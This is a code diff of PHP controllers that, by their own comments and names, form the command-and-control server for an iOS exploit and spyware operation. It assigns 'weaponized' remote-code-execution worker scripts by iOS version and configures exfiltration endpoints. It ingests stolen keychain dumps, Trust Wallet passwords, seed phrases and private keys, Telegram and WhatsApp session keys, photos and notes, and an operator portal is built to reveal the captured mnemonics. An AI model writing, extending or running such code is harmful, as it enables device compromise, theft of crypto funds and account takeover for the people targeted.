||||||
|
$request,
|
||||||
|
$path,
|
||||||
|
$payload,
|
||||||
|
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
|
||||||
|
$body
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function register(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
$payload = $this->jsonBody($request);
|
||||||
|
$device = Device::normalizeDarkswordKey((string) (
|
||||||
|
$payload['deviceUUID']
|
||||||
|
?? $payload['device']
|
||||||
|
?? $payload['uuid']
|
||||||
|
?? $request->header('X-Device-UUID')
|
||||||
|
?? ''
|
||||||
|
));
|
||||||
|
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
|
||||||
|
|
||||||
|
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
|
||||||
|
'ok' => true,
|
||||||
|
'device' => $device,
|
||||||
|
'deviceUUID' => $device,
|
||||||
|
'device_id' => $device,
|
||||||
|
'aliased' => false,
|
||||||
|
'ios_version' => $ios,
|
||||||
|
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
|
||||||
|
'target_chain_label' => 'D鏈',
|
||||||
|
'offset_params' => [
|
||||||
|
'ok' => true,
|
||||||
|
'mode' => 'probing',
|
||||||
|
'device' => null,
|
||||||
|
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
|
||||||
|
'build' => null,
|
||||||
|
'candidates' => [],
|
||||||
|
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
|
||||||
|
],
|
||||||
|
'sla_ms' => 15000,
|
||||||
|
's5_honest' => '',
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function chainTargets(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
$forwarded = (string) $request->header('X-Forwarded-Host', '');
|
||||||
|
if ($forwarded !== '') {
|
||||||
|
$hostPort = explode(':', $forwarded, 2);
|
||||||
|
$host = $hostPort[0];
|
||||||
|
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
|
||||||
|
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
|
||||||
|
} else {
|
||||||
|
$host = $request->getHost();
|
||||||
|
$port = (int) $request->getPort();
|
||||||
|
$scheme = $request->getScheme();
|
||||||
|
}
|
||||||
|
$scheme = strtolower((string) $scheme);
|
||||||
|
if ($port === 443) {
|
||||||
|
$scheme = 'https';
|
||||||
|
}
|
||||||
|
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
||||||
|
$ios = $this->requestIos($request);
|
||||||
|
$ds = PageVisit::isDarkSwordIosVersionString($ios);
|
||||||
|
if ($ds) {
|
||||||
|
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||||
|
$chain = 'darksword';
|
||||||
|
$reason = 'DarkSword '.$ios;
|
||||||
|
} else {
|
||||||
|
$recommended = '';
|
||||||
|
$fallbacks = [];
|
||||||
|
$chain = 'coruna';
|
||||||
|
$reason = 'Coruna (DS allowlist: 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2)';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||||
|
'ok' => true,
|
||||||
|
'chain' => $chain,
|
||||||
|
'weaponized' => true,
|
||||||
|
'gated' => false,
|
||||||
|
'ios' => $ios,
|
||||||
|
'reason' => $reason,
|
||||||
|
'recommended_worker' => $recommended,
|
||||||
|
'fallback_workers' => $fallbacks,
|
||||||
|
'band' => [
|
||||||
|
'recommended_worker' => $recommended,
|
||||||
|
'fallback_workers' => $fallbacks,
|
||||||
|
'usable_for_attempt' => $ds,
|
||||||
|
'usable_grade' => 'LIVE',
|
||||||
|
'weaponized' => true,
|
||||||
|
],
|
||||||
|
'exfil' => [
|
||||||
|
'host' => $host,
|
||||||
|
'domain' => $host,
|
||||||
|
'http_port' => $port,
|
||||||
|
'https_port' => $port,
|
||||||
|
'tls' => $scheme === 'https',
|
||||||
|
'prefer_https' => $scheme === 'https',
|
||||||
|
'stats_url' => $base.'/stats',
|
||||||
|
'stats_url_direct' => $base.'/stats',
|
||||||
|
'delivery_stats_url' => $base.'/stats',
|
||||||
|
],
|
||||||
|
'delivery_ok' => true,
|
||||||
|
'entry_point' => '',
|
||||||
|
'redirect_to' => '',
|
||||||
|
's5_module' => '',
|
||||||
|
'usable_grade' => 'LIVE',
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function profile(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/a', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function apps(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/u', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function notes(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/nb', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function event(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/event', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function result(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
$payload = $this->jsonBody($request);
|
||||||
|
|
||||||
|
// For wallet_scan results, log the full untruncated body so the
|
||||||
|
// keychain dump (incl. trustwallet password items) is preserved verbatim.
|
||||||
|
$logBody = $this->walletScanLogBody($request, $payload);
|
||||||
|
|
||||||
|
return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
*/
|
||||||
|
private function ok(Request $request, string $path, array $payload): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function logAck(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||||
|
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json(['status' => 'accepted']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
* @param array<string, mixed>|string|null $logBody
|
||||||
|
*/
|
||||||
|
private function finish(
|
||||||
|
Request $request,
|
||||||
|
string $path,
|
||||||
|
array $payload,
|
||||||
|
SymfonyResponse $response,
|
||||||
|
array|string|null $logBody = null,
|
||||||
|
bool $ingest = true,
|
||||||
|
): SymfonyResponse {
|
||||||
|
if ($ingest) {
|
||||||
|
try {
|
||||||
|
$this->ingest->ingest($request, $path, $payload);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$body = $logBody ?? $this->previewBody($request);
|
||||||
|
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||||
|
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id']
|
||||||
|
?? $request->attributes->get('coruna_device_key');
|
||||||
|
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
||||||
|
$entry = [
|
||||||
|
'dir' => 'ds',
|
||||||
|
'method' => $request->method(),
|
||||||
|
'path' => $path,
|
||||||
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
|
'query' => $request->query(),
|
||||||
|
'headers' => c2_log_request_meta($request)['headers'],
|
||||||
|
'body' => $body,
|
||||||
|
'response' => $respPreview,
|
||||||
|
];
|
||||||
|
create_log($entry, 'ds');
|
||||||
|
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
|
||||||
|
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
|
||||||
|
*/
|
||||||
|
private function requestIos(Request $request): string
|
||||||
|
{
|
||||||
|
$ios = (string) $request->query('ios', '');
|
||||||
|
if ($ios !== '') {
|
||||||
|
return $ios;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ua = (string) $request->userAgent();
|
||||||
|
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
|
||||||
|
$out = $m[1].'.'.$m[2];
|
||||||
|
if (($m[3] ?? '') !== '') {
|
||||||
|
$out .= '.'.$m[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Workers only for the DS allowlist.
|
||||||
|
*
|
||||||
|
* @return array{0: string, 1: list<string>}
|
||||||
|
*/
|
||||||
|
private function chainTargetWorkers(string $ios): array
|
||||||
|
{
|
||||||
|
$canon = PageVisit::canonicalIosVersion($ios);
|
||||||
|
|
||||||
|
return match ($canon) {
|
||||||
|
'18.1.1', '18.4', '18.4.1' => ['rce_worker_18.4.js', ['rce_worker_18.6.js']],
|
||||||
|
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||||
|
'18.7', '18.7.1', '18.7.2' => ['rce_worker_18.7.js', ['rce_worker_18.6.js']],
|
||||||
|
default => ['rce_worker_18.6.js', []],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isDefaultPort(string $scheme, int $port): bool
|
||||||
|
{
|
||||||
|
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function peStageName(string $path): string
|
||||||
|
{
|
||||||
|
$name = basename($path);
|
||||||
|
$name = (string) preg_replace('/\.js$/i', '', $name);
|
||||||
|
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
|
||||||
|
|
||||||
|
return $name !== '' ? $name : 'unknown';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function payloadFromQueryOrJson(Request $request): array
|
||||||
|
{
|
||||||
|
$payload = $this->jsonBody($request);
|
||||||
|
if ($payload !== []) {
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
$query = $request->query();
|
||||||
|
|
||||||
|
return is_array($query) ? $query : [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>|string
|
||||||
|
*/
|
||||||
|
private function previewBody(Request $request): array|string
|
||||||
|
{
|
||||||
|
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||||
|
return ['query' => $request->query()];
|
||||||
|
}
|
||||||
|
|
||||||
|
$ct = strtolower((string) $request->header('content-type', ''));
|
||||||
|
if (str_contains($ct, 'multipart/')) {
|
||||||
|
$files = [];
|
||||||
|
foreach ($request->allFiles() as $key => $file) {
|
||||||
|
$list = is_array($file) ? $file : [$file];
|
||||||
|
foreach ($list as $f) {
|
||||||
|
$files[] = [
|
||||||
|
'field' => $key,
|
||||||
|
'name' => $f->getClientOriginalName(),
|
||||||
|
'size' => $f->getSize(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'multipart' => true,
|
||||||
|
'form' => $request->except(array_keys($request->allFiles())),
|
||||||
|
'files' => $files,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
$raw = (string) $request->getContent();
|
||||||
|
$json = json_decode($raw, true);
|
||||||
|
if (is_array($json)) {
|
||||||
|
return $this->truncateArray($json);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->previewString($raw, 4096);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function jsonBody(Request $request): array
|
||||||
|
{
|
||||||
|
$json = json_decode((string) $request->getContent(), true);
|
||||||
|
|
||||||
|
return is_array($json) ? $json : [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* wallet_scan results carry the keychain dump (base64) in `data`.
|
||||||
|
* Return the full decoded payload so create_log() writes it verbatim
|
||||||
|
* (no 512-byte truncation), letting us recover trustwallet password
|
||||||
|
* items from the ds log afterwards. Non-wallet_scan results return null
|
||||||
|
* and fall back to the truncated preview.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
* @return array<string, mixed>|null
|
||||||
|
*/
|
||||||
|
private function walletScanLogBody(Request $request, array $payload): ?array
|
||||||
|
{
|
||||||
|
$category = (string) ($payload['category'] ?? '');
|
||||||
|
$filename = (string) ($payload['filename'] ?? '');
|
||||||
|
if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$json = json_decode((string) $request->getContent(), true);
|
||||||
|
|
||||||
|
return is_array($json) ? $json : $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $data
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 4) {
|
||||||
|
return ['_truncated' => true];
|
||||||
|
}
|
||||||
|
$out = [];
|
||||||
|
$i = 0;
|
||||||
|
foreach ($data as $k => $v) {
|
||||||
|
if ($i++ > 80) {
|
||||||
|
$out['_more'] = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (is_string($v) && strlen($v) > $maxStr) {
|
||||||
|
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
|
||||||
|
} elseif (is_array($v)) {
|
||||||
|
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
|
||||||
|
} else {
|
||||||
|
$out[$k] = $v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function previewString(string $raw, int $max): string
|
||||||
|
{
|
||||||
|
if (strlen($raw) <= $max) {
|
||||||
|
return $raw;
|
||||||
|
}
|
||||||
|
|
||||||
|
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,244 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\C2;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use App\Services\PhotoArchiveIngest;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Http\Response;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||||
|
*
|
||||||
|
* Native path map (corepayload + details plugins):
|
||||||
|
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||||
|
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||||
|
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap).
|
||||||
|
* SMS /m/t/g /m/t/r disabled (imagent removed from show.html).
|
||||||
|
*
|
||||||
|
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||||
|
* Plugin routes do not write channel_id (same as /api/tg/t).
|
||||||
|
*/
|
||||||
|
class XxbbC2Controller extends Controller
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly IngestService $ingest,
|
||||||
|
private readonly PhotoArchiveIngest $photos,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function vhx(): Response
|
||||||
|
{
|
||||||
|
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
|
||||||
|
public function profile(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Lab analogue: POST /api/user/get */
|
||||||
|
public function apps(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestInstalledApps($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Lab analogue: POST /api/user/avatar/put */
|
||||||
|
public function event(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestDevicePhone($device, $payload);
|
||||||
|
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
|
||||||
|
public function photos(Request $request): Response
|
||||||
|
{
|
||||||
|
$rawKey = $request->attributes->get('coruna_device_key')
|
||||||
|
?: $request->input('d')
|
||||||
|
?: $request->input('f');
|
||||||
|
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||||
|
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||||
|
: null;
|
||||||
|
$device = $this->ingest->ensureDevice(
|
||||||
|
$request,
|
||||||
|
array_filter([
|
||||||
|
'd' => $deviceKey,
|
||||||
|
'c' => $request->input('c'),
|
||||||
|
'channel' => $request->input('channel'),
|
||||||
|
]),
|
||||||
|
$deviceKey
|
||||||
|
);
|
||||||
|
|
||||||
|
$batchBase = (string) ($request->input('batchBase')
|
||||||
|
?? $request->input('batch_base')
|
||||||
|
?? $request->input('base')
|
||||||
|
?? $request->input('ts')
|
||||||
|
?? '0');
|
||||||
|
if ($batchBase === '') {
|
||||||
|
$batchBase = '0';
|
||||||
|
}
|
||||||
|
|
||||||
|
$xHitRaw = $request->input('x-hit');
|
||||||
|
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||||
|
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||||
|
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||||
|
$photoMeta = [
|
||||||
|
'x_hit' => $xHit,
|
||||||
|
'upload_count' => $uploadCount,
|
||||||
|
'process_index' => $processIndex,
|
||||||
|
'text_count' => $textCount,
|
||||||
|
'barcode_count' => $barcodeCount,
|
||||||
|
];
|
||||||
|
|
||||||
|
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||||
|
$this->photos->accept(
|
||||||
|
$device,
|
||||||
|
(string) $request->file('file')->getRealPath(),
|
||||||
|
$batchBase,
|
||||||
|
$photoMeta,
|
||||||
|
'xxbb',
|
||||||
|
[
|
||||||
|
'idx' => $request->input('idx'),
|
||||||
|
'ftu' => $request->input('ftu'),
|
||||||
|
'ts' => $request->input('ts'),
|
||||||
|
'x-hit' => $xHitRaw,
|
||||||
|
],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
|
||||||
|
public function notes(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestNotes($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Plugin reports: /uj /us /ub /ba /result.
|
||||||
|
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||||
|
*/
|
||||||
|
public function plugin(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
|
||||||
|
$this->ingest->ingestAddresses($device, $payload);
|
||||||
|
}
|
||||||
|
if (array_key_exists('result', $payload)) {
|
||||||
|
$result = $payload['result'];
|
||||||
|
$asKeystore = is_array($result);
|
||||||
|
if (is_string($result)) {
|
||||||
|
$decoded = json_decode($result, true);
|
||||||
|
$asKeystore = is_array($decoded);
|
||||||
|
}
|
||||||
|
if ($asKeystore) {
|
||||||
|
$this->ingest->ingestKeystore($device, $payload);
|
||||||
|
} else {
|
||||||
|
$this->ingest->ingestMnemonic($device, $payload);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
|
||||||
|
$this->ingest->ingestMnemonic($device, $payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
|
||||||
|
public function telegram(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestTelegramAuth($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */
|
||||||
|
public function whatsapp(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestWhatsAppAuth($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->xxbbAck($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
// /**
|
||||||
|
// * sms: POST /m/t/g — poll outbound SMS tasks.
|
||||||
|
// * Lab never queues send tasks; code=1 + empty data matches native backoff.
|
||||||
|
// */
|
||||||
|
// public function smsPoll(Request $request): Response
|
||||||
|
// {
|
||||||
|
// $payload = $request->attributes->get('coruna_payload');
|
||||||
|
// $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
// if ($device && is_array($payload)) {
|
||||||
|
// $this->ingest->ingestDevicePhone($device, $payload);
|
||||||
|
// $this->ingest->ingestSmsHeartbeat($device, $payload);
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// /** sms: POST /m/t/r — task result / status. */
|
||||||
|
// public function smsReport(Request $request): Response
|
||||||
|
// {
|
||||||
|
// $payload = $request->attributes->get('coruna_payload');
|
||||||
|
// $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
// if ($device && is_array($payload)) {
|
||||||
|
// $this->ingest->ingestDevicePhone($device, $payload);
|
||||||
|
// $this->ingest->ingestSmsTaskReport($device, $payload);
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// return $this->xxbbAck($request);
|
||||||
|
// }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed>|null $body
|
||||||
|
*/
|
||||||
|
private function xxbbAck(Request $request, ?array $body = null): Response
|
||||||
|
{
|
||||||
|
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||||
|
if ($ts === '') {
|
||||||
|
$ts = (string) ($request->header('x-ts') ?: '');
|
||||||
|
}
|
||||||
|
if ($ts === '') {
|
||||||
|
$ts = (string) (int) round(microtime(true) * 1000);
|
||||||
|
}
|
||||||
|
$json = $body === null
|
||||||
|
? '{}'
|
||||||
|
: (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}');
|
||||||
|
|
||||||
|
return response($ts.$json, 200)->header('Content-Type', 'text/plain');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -30,6 +30,19 @@ trait PortalAware
|
|||||||
return $user;
|
return $user;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** @return array{0: string|null, 1: int|null} */
|
||||||
|
protected function viewerActor(): array
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
$agent = $this->agent();
|
||||||
|
|
||||||
|
return $agent ? ['agent', (int) $agent->id] : [null, null];
|
||||||
|
}
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin ? ['admin', (int) $admin->id] : [null, null];
|
||||||
|
}
|
||||||
|
|
||||||
protected function routeName(string $suffix): string
|
protected function routeName(string $suffix): string
|
||||||
{
|
{
|
||||||
return $this->portal().'.'.$suffix;
|
return $this->portal().'.'.$suffix;
|
||||||
|
|||||||
@@ -0,0 +1,46 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Concerns;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
|
||||||
|
trait RevealsMnemonics
|
||||||
|
{
|
||||||
|
protected function canRevealMnemonics(): bool
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
$agent = $this->agent();
|
||||||
|
|
||||||
|
return $agent instanceof User && $agent->canRevealMnemonics();
|
||||||
|
}
|
||||||
|
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function googleBoundForReveal(): bool
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
$agent = $this->agent();
|
||||||
|
|
||||||
|
return $agent instanceof User && $agent->hasGoogleBound();
|
||||||
|
}
|
||||||
|
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function mnemonicRevealUrl(int|string|WalletMnemonic $mnemonic): string
|
||||||
|
{
|
||||||
|
return route($this->portal().'.mnemonics.reveal', $mnemonic);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function google2faUrl(): string
|
||||||
|
{
|
||||||
|
return route($this->portal().'.security.google2fa');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Hooks;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\PhotoOrigin;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
|
||||||
|
class PhotoOriginController extends Controller
|
||||||
|
{
|
||||||
|
public function __invoke(Request $request, Photo $photo, PhotoOrigin $origin): Response
|
||||||
|
{
|
||||||
|
$token = $request->header('X-Photo-Origin-Token', $request->query('token'));
|
||||||
|
abort_unless($origin->serveEnabled() && $origin->tokenMatches(is_string($token) ? $token : null), 401);
|
||||||
|
|
||||||
|
$path = trim((string) $photo->path);
|
||||||
|
abort_unless($origin->isSafeRelPath($path), 404);
|
||||||
|
abort_unless(Storage::disk('local')->exists($path), 404);
|
||||||
|
|
||||||
|
$abs = Storage::disk('local')->path($path);
|
||||||
|
$mime = @mime_content_type($abs) ?: 'application/octet-stream';
|
||||||
|
|
||||||
|
return response((string) file_get_contents($abs), 200)
|
||||||
|
->header('Content-Type', $mime)
|
||||||
|
->header('X-Photo-Origin', 'local');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,9 +3,11 @@
|
|||||||
namespace App\Http\Controllers\Hooks;
|
namespace App\Http\Controllers\Hooks;
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Support\SafeLog;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use App\Telegram\TelegramBotContext;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Log;
|
|
||||||
use SergiX44\Nutgram\Nutgram;
|
use SergiX44\Nutgram\Nutgram;
|
||||||
use Throwable;
|
use Throwable;
|
||||||
|
|
||||||
@@ -13,7 +15,8 @@ class TelegramWebhookController extends Controller
|
|||||||
{
|
{
|
||||||
public function __invoke(Request $request): Response
|
